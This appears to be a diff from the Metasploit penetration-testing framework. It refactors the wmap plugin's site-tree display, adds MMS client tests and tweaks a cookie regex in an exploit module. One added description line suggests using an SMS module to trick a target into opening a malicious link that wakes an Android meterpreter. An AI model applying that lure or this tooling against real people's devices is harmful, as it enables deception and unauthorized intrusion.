@ -16,6 +16,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
This module allows you to open an android meterpreter via a browser. An Android
|
This module allows you to open an android meterpreter via a browser. An Android
|
||||||
meterpreter must be installed as an application beforehand on the target device
|
meterpreter must be installed as an application beforehand on the target device
|
||||||
in order to use this.
|
in order to use this.
|
||||||
|
|
||||||
|
For best results, you can consider using the auxiliary/client/sms/send_text to
|
||||||
|
trick your target into opening the malicious link, and wake up Meterpreter.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'sinn3r' ],
|
'Author' => [ 'sinn3r' ],
|
||||||
|
|
|
@ -235,7 +235,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'method' => datastore['HTTP_METHOD'],
|
'method' => datastore['HTTP_METHOD'],
|
||||||
}, 25)
|
}, 25)
|
||||||
if res && !res.get_cookies.empty?
|
if res && !res.get_cookies.empty?
|
||||||
match = res.get_cookies.match(/([-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
|
match = res.get_cookies.match(/([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
|
||||||
end
|
end
|
||||||
|
|
||||||
if match
|
if match
|
||||||
|
|
153
plugins/wmap.rb
153
plugins/wmap.rb
|
@ -147,23 +147,28 @@ class Plugin::Wmap < Msf::Plugin
|
||||||
when '-s'
|
when '-s'
|
||||||
u = args.shift
|
u = args.shift
|
||||||
l = args.shift
|
l = args.shift
|
||||||
s = args.shift
|
o = args.shift
|
||||||
|
|
||||||
if not u
|
return unless u
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
if l == nil or l.empty?
|
if l == nil or l.empty?
|
||||||
l = 200
|
l = 200
|
||||||
s = true
|
o = 'true'
|
||||||
else
|
else
|
||||||
l = l.to_i
|
# Add check if unicode parameters is the second one
|
||||||
s = false
|
if l == 'true' or l == 'false'
|
||||||
|
o = l
|
||||||
|
l = 200
|
||||||
|
else
|
||||||
|
l = l.to_i
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
o = (o == 'true')
|
||||||
|
|
||||||
if u.include? 'http'
|
if u.include? 'http'
|
||||||
# Parameters are in url form
|
# Parameters are in url form
|
||||||
view_site_tree(u,l,s)
|
view_site_tree(u,l,o)
|
||||||
else
|
else
|
||||||
# Parameters are digits
|
# Parameters are digits
|
||||||
if !self.lastsites or self.lastsites.length == 0
|
if !self.lastsites or self.lastsites.length == 0
|
||||||
|
@ -188,12 +193,12 @@ class Plugin::Wmap < Msf::Plugin
|
||||||
# Skip the DB entirely if no matches
|
# Skip the DB entirely if no matches
|
||||||
return if target_whitelist.length == 0
|
return if target_whitelist.length == 0
|
||||||
|
|
||||||
if not self.targets
|
unless self.targets
|
||||||
self.targets = Hash.new()
|
self.targets = Hash.new()
|
||||||
end
|
end
|
||||||
|
|
||||||
target_whitelist.each do |ent|
|
target_whitelist.each do |ent|
|
||||||
view_site_tree(ent,l,s)
|
view_site_tree(ent,l,o)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return
|
return
|
||||||
|
@ -203,8 +208,7 @@ class Plugin::Wmap < Msf::Plugin
|
||||||
print_line("\t-a [url] Add site (vhost,url)")
|
print_line("\t-a [url] Add site (vhost,url)")
|
||||||
print_line("\t-d [ids] Delete sites (separate ids with space)")
|
print_line("\t-d [ids] Delete sites (separate ids with space)")
|
||||||
print_line("\t-l List all available sites")
|
print_line("\t-l List all available sites")
|
||||||
print_line("\t-s [id] Display site structure (vhost,url|ids) (level)")
|
print_line("\t-s [id] Display site structure (vhost,url|ids) (level) (unicode output true/false)")
|
||||||
|
|
||||||
print_line("")
|
print_line("")
|
||||||
return
|
return
|
||||||
else
|
else
|
||||||
|
@ -1526,18 +1530,16 @@ class Plugin::Wmap < Msf::Plugin
|
||||||
# Skip the DB entirely if no matches
|
# Skip the DB entirely if no matches
|
||||||
return if site_whitelist.length == 0
|
return if site_whitelist.length == 0
|
||||||
|
|
||||||
vsites = Hash.new()
|
|
||||||
|
|
||||||
site_whitelist.each do |ent|
|
site_whitelist.each do |ent|
|
||||||
vhost,target = ent
|
vhost,target = ent
|
||||||
|
|
||||||
host = self.framework.db.workspace.hosts.find_by_address(target.host)
|
host = self.framework.db.workspace.hosts.find_by_address(target.host)
|
||||||
if not host
|
unless host
|
||||||
print_error("No matching host for #{target.host}")
|
print_error("No matching host for #{target.host}")
|
||||||
next
|
next
|
||||||
end
|
end
|
||||||
serv = host.services.find_by_port_and_proto(target.port, 'tcp')
|
serv = host.services.find_by_port_and_proto(target.port, 'tcp')
|
||||||
if not serv
|
unless serv
|
||||||
print_error("No matching service for #{target.host}:#{target.port}")
|
print_error("No matching service for #{target.host}:#{target.port}")
|
||||||
next
|
next
|
||||||
end
|
end
|
||||||
|
@ -1552,69 +1554,106 @@ class Plugin::Wmap < Msf::Plugin
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Private function to avoid duplicate code
|
||||||
|
def load_tree_core(req, wtree)
|
||||||
|
pathchr = '/'
|
||||||
|
tarray = req.path.to_s.split(pathchr)
|
||||||
|
tarray.delete("")
|
||||||
|
tpath = Pathname.new(pathchr)
|
||||||
|
tarray.each do |df|
|
||||||
|
wtree.add_at_path(tpath.to_s,df)
|
||||||
|
tpath = tpath + Pathname.new(df.to_s)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Load website structure into a tree
|
# Load website structure into a tree
|
||||||
#
|
#
|
||||||
|
|
||||||
def load_tree(s)
|
def load_tree(s)
|
||||||
|
|
||||||
pathchr = '/'
|
|
||||||
|
|
||||||
wtree = Tree.new(s.vhost)
|
wtree = Tree.new(s.vhost)
|
||||||
|
|
||||||
# Load site pages
|
# Load site pages
|
||||||
s.web_pages.order('path asc').each do |req|
|
s.web_pages.order('path asc').each do |req|
|
||||||
tarray = req.path.to_s.split(pathchr)
|
if req.code != 404
|
||||||
tarray.delete("")
|
load_tree_core(req, wtree)
|
||||||
tpath = Pathname.new(pathchr)
|
|
||||||
tarray.each do |df|
|
|
||||||
wtree.add_at_path(tpath.to_s,df)
|
|
||||||
tpath = tpath + Pathname.new(df.to_s)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Load site forms
|
# Load site forms
|
||||||
s.web_forms.each do |req|
|
s.web_forms.each do |req|
|
||||||
tarray = req.path.to_s.split(pathchr)
|
load_tree_core(req, wtree)
|
||||||
tarray.delete("")
|
|
||||||
tpath = Pathname.new(pathchr)
|
|
||||||
tarray.each do |df|
|
|
||||||
wtree.add_at_path(tpath.to_s,df)
|
|
||||||
tpath = tpath + Pathname.new(df.to_s)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
return wtree
|
wtree
|
||||||
|
end
|
||||||
|
|
||||||
|
def print_file(filename)
|
||||||
|
ext = File.extname(filename)
|
||||||
|
if %w(.txt .md).include? ext
|
||||||
|
print '%bld%red'
|
||||||
|
elsif %w(.css .js).include? ext
|
||||||
|
print '%grn'
|
||||||
|
end
|
||||||
|
|
||||||
|
print_line("#{ filename }%clr")
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Print Tree structure. Still ugly
|
# Recursive function for printing the tree structure
|
||||||
#
|
#
|
||||||
|
def print_tree_recursive(tree, max_level, indent, prefix, is_last, unicode)
|
||||||
|
if tree != nil and tree.depth <= max_level
|
||||||
|
print (' ' * indent)
|
||||||
|
|
||||||
def print_tree(tree, ip, maxlevel, limitlevel)
|
# Prefix serve to print the superior hierarchy
|
||||||
initab = " " * 4
|
prefix.each { |bool|
|
||||||
indent = 6
|
if unicode
|
||||||
if tree != nil and tree.depth <= maxlevel
|
print (bool ? ' ' : '│') + (' ' * 3)
|
||||||
print initab + (" " * indent * tree.depth)
|
|
||||||
if tree.depth > 0
|
|
||||||
print "|"+("-" * (indent-1))+"/"
|
|
||||||
end
|
|
||||||
if tree.depth >= 0
|
|
||||||
if tree.depth == 0
|
|
||||||
print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n"
|
|
||||||
|
|
||||||
else
|
else
|
||||||
c = tree.children.count
|
print (bool ? ' ' : '|') + (' ' * 3)
|
||||||
if c > 0
|
|
||||||
print tree.name + " (" + c.to_s+")\n"
|
|
||||||
else
|
|
||||||
print tree.name + "\n"
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
}
|
||||||
|
if unicode
|
||||||
|
# The last children is special
|
||||||
|
print (is_last ? '└' : '├') + ('─' * 2) + ' '
|
||||||
|
else
|
||||||
|
print (is_last ? '`' : '|') + ('-' * 2) + ' '
|
||||||
end
|
end
|
||||||
|
|
||||||
tree.children.each_pair do |name,child|
|
c = tree.children.count
|
||||||
print_tree(child,ip,maxlevel,limitlevel)
|
|
||||||
|
if c > 0
|
||||||
|
print_line "%bld%blu#{ tree.name }%clr (#{ c.to_s })"
|
||||||
|
else
|
||||||
|
print_file tree.name
|
||||||
|
end
|
||||||
|
|
||||||
|
i = 1
|
||||||
|
new_prefix = prefix + [is_last]
|
||||||
|
tree.children.each_pair { |_,child|
|
||||||
|
is_last = !(i < c)
|
||||||
|
print_tree_recursive(child, max_level, indent, new_prefix, is_last, unicode)
|
||||||
|
i += 1
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Print Tree structure. Less ugly
|
||||||
|
# Modified by Jon P.
|
||||||
|
#
|
||||||
|
def print_tree(tree, ip, max_level, unicode)
|
||||||
|
indent = 4
|
||||||
|
if tree != nil and tree.depth <= max_level
|
||||||
|
if tree.depth == 0
|
||||||
|
print_line "\n" + (' ' * indent) + "%cya[#{tree.name}] (#{ip})%clr"
|
||||||
|
end
|
||||||
|
|
||||||
|
i = 1
|
||||||
|
c = tree.children.count
|
||||||
|
tree.children.each_pair do |_,child|
|
||||||
|
print_tree_recursive(child, max_level, indent, [], !(i < c), unicode)
|
||||||
|
i += 1
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,62 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'rex/proto/mms/model'
|
||||||
|
|
||||||
|
RSpec.describe Rex::Proto::Mms::Client do
|
||||||
|
|
||||||
|
let(:phone_numbers) { ['1112223333'] }
|
||||||
|
|
||||||
|
let(:message) { 'message' }
|
||||||
|
|
||||||
|
let(:attachment) { 'file.jpg' }
|
||||||
|
|
||||||
|
let(:file_content) { 'content' }
|
||||||
|
|
||||||
|
let(:subject) { 'subject' }
|
||||||
|
|
||||||
|
let(:ctype) { 'ctype' }
|
||||||
|
|
||||||
|
let(:carrier) { :verizon }
|
||||||
|
|
||||||
|
let(:smtp_server) {
|
||||||
|
Rex::Proto::Mms::Model::Smtp.new(
|
||||||
|
address: 'example.com',
|
||||||
|
port: 25,
|
||||||
|
username: 'username',
|
||||||
|
password: 'password'
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
subject do
|
||||||
|
Rex::Proto::Mms::Client.new(
|
||||||
|
carrier: carrier,
|
||||||
|
smtp_server: smtp_server
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#initialize' do
|
||||||
|
it 'sets carrier' do
|
||||||
|
expect(subject.carrier).to eq(carrier)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets smtp server' do
|
||||||
|
expect(subject.smtp_server).to eq(smtp_server)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#send_mms_to_phones' do
|
||||||
|
before(:each) do
|
||||||
|
smtp = Net::SMTP.new(smtp_server.address, smtp_server.port)
|
||||||
|
allow(smtp).to receive(:start).and_yield
|
||||||
|
allow(smtp).to receive(:send_message) { |args| @sent_message = args }
|
||||||
|
allow(Net::SMTP).to receive(:new).and_return(smtp)
|
||||||
|
allow(File).to receive(:read).and_return(file_content)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sends an mms message' do
|
||||||
|
subject.send_mms_to_phones(phone_numbers, subject, message, attachment, ctype)
|
||||||
|
expect(@sent_message).to include('MIME-Version: 1.0')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,62 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'rex/proto/mms/model'
|
||||||
|
|
||||||
|
RSpec.describe Rex::Proto::Mms::Model::Message do
|
||||||
|
|
||||||
|
let(:message) { 'message' }
|
||||||
|
let(:content_type) { 'ctype' }
|
||||||
|
let(:attachment) { 'filepath.jpg' }
|
||||||
|
let(:filecontent) { 'file content' }
|
||||||
|
let(:from) { 'sender@example.com' }
|
||||||
|
let(:to) { 'receiver@example.com' }
|
||||||
|
let(:mms_subject) { 'subject' }
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(File).to receive(:read).and_return(filecontent)
|
||||||
|
end
|
||||||
|
|
||||||
|
subject do
|
||||||
|
described_class.new(
|
||||||
|
from: from,
|
||||||
|
to: to,
|
||||||
|
subject: mms_subject,
|
||||||
|
message: message,
|
||||||
|
content_type: content_type,
|
||||||
|
attachment_path: attachment
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#initialize' do
|
||||||
|
it 'sets message' do
|
||||||
|
expect(subject.message).to eq(message)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets content type' do
|
||||||
|
expect(subject.content_type).to eq(content_type)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets attachment path' do
|
||||||
|
expect(subject.attachment).to eq('ZmlsZSBjb250ZW50')
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets from' do
|
||||||
|
expect(subject.from).to eq(from)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets to' do
|
||||||
|
expect(subject.to).to eq(to)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets subject' do
|
||||||
|
expect(subject.subject).to eq(mms_subject)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#to_s' do
|
||||||
|
it 'returns the mms message' do
|
||||||
|
expect(subject.to_s).to include('MIME-Version: 1.0')
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,57 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'rex/proto/mms/model'
|
||||||
|
|
||||||
|
RSpec.describe Rex::Proto::Mms::Model::Smtp do
|
||||||
|
|
||||||
|
let(:address) { 'example.com' }
|
||||||
|
let(:port) { 25 }
|
||||||
|
let(:username) { 'username' }
|
||||||
|
let(:password) { 'password' }
|
||||||
|
let(:login_type) { :login }
|
||||||
|
let(:from) { 'from' }
|
||||||
|
let(:helo_domain) { 'example.com'}
|
||||||
|
|
||||||
|
subject do
|
||||||
|
Rex::Proto::Mms::Model::Smtp.new(
|
||||||
|
address: address,
|
||||||
|
port: port,
|
||||||
|
username: username,
|
||||||
|
password: password,
|
||||||
|
login_type: login_type,
|
||||||
|
from: from,
|
||||||
|
helo_domain: helo_domain
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#initialize' do
|
||||||
|
it 'sets address' do
|
||||||
|
expect(subject.address).to eq(address)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets port' do
|
||||||
|
expect(subject.port).to eq(port)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets username' do
|
||||||
|
expect(subject.username).to eq(username)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets password' do
|
||||||
|
expect(subject.password).to eq(password)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets login_type' do
|
||||||
|
expect(subject.login_type).to eq(login_type)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets from' do
|
||||||
|
expect(subject.from).to eq(from)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets helo domain' do
|
||||||
|
expect(subject.helo_domain).to eq(helo_domain)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue